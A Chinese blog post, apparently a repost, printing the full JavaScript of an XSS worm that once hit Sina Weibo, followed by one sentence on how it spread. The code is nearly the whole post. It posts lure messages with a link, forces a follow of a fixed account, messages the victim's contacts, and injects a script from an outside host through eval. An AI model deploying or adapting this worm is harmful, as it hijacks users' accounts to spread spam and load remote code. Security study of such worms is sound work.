新浪微博曾經受到過xss蠕蟲攻擊

2)蠕蟲

新浪微博曾經受到過xss蠕蟲攻擊,代碼如下

[javascript] view plain copy
  1. function createXHR(){  
  2.     return window.XMLHttpRequest?  
  3.     new XMLHttpRequest():  
  4.     new ActiveXObject("Microsoft.XMLHTTP");  
  5. }  
  6. function getappkey(url){  
  7.     xmlHttp = createXHR();  
  8.     xmlHttp.open("GET",url,false);  
  9.     xmlHttp.send();  
  10.     result = xmlHttp.responseText;  
  11.     id_arr = '';  
  12.     id = result.match(/namecard=\"true\" title=\"[^\"]*/g);  
  13.     for(i=0;i<id.length;i++){  
  14.         sum = id[i].toString().split('"')[3];  
  15.         id_arr += sum + '||';  
  16.     }  
  17.     return id_arr;  
  18. }  
  19. function random_msg(){  
  20.     link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;  
  21.     var msgs = [  
  22.         '郭美美事件的一些未注意到的細節:',  
  23.         '建黨大業中穿幫的地方:',  
  24.         '讓女人心動的100句詩歌:',  
  25.         '3D肉團團高清普通話版種子:',  
  26.         '這是傳說中的神仙眷侶啊:',  
  27.         '驚爆!范冰冰豔照真流出了:',  
  28.         '楊冪被爆多次被潛規則:',  
  29.         '傻仔拿錘子去搶銀行:',  
  30.         '可以監聽別人手機的軟件:',  
  31.         '個稅起徵點有望提到4000:'];  
  32.     var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;  
  33.     msg = encodeURIComponent(msg);  
  34.     return msg;  
  35. }  
  36. function post(url,data,sync){  
  37.     xmlHttp = createXHR();  
  38.     xmlHttp.open("POST",url,sync);  
  39.     xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
  40.     xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");  
  41.     xmlHttp.send(data);  
  42. }  
  43. function publish(){  
  44.     url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();  
  45.     data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';  
  46.     post(url,data,true);  
  47. }  
  48. function follow(){  
  49.     url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();  
  50.     data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';  
  51.     post(url,data,true);  
  52. }  
  53. function message(){  
  54.     url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';  
  55.     ids = getappkey(url);  
  56.     id = ids.split('||');  
  57.     for(i=0;i<id.length - 1 & i<5;i++){  
  58.         msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();  
  59.         msg = random_msg();  
  60.         msg = encodeURIComponent(msg);  
  61.         user = encodeURIComponent(encodeURIComponent(id[i]));  
  62.         data = 'content=' + msg + '&name=' + user + '&retcode=';  
  63.         post(msgurl,data,false);  
  64.     }  
  65. }  
  66. function main(){  
  67.     try{  
  68.         publish();  
  69.     }  
  70.     catch(e){}  
  71.     try{  
  72.         follow();  
  73.     }  
  74.     catch(e){}  
  75.     try{  
  76.         message();  
  77.     }  
  78.     catch(e){}  
  79. }  
  80. try{  
  81.    x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);  
  82. }  
  83. catch(e){}  
  84. main();  
  85. var t=setTimeout('location="http://weibo.com/pub/topic";',5000);  

而這段代碼就是通過之前的反url編碼的方式,用src插入進去的。主要是完成了發一條微博,然後關注作者,然後向粉絲推送這條鏈接達到傳遞的目的。
發佈了0 篇原創文章 · 獲贊 11 · 訪問量 7萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章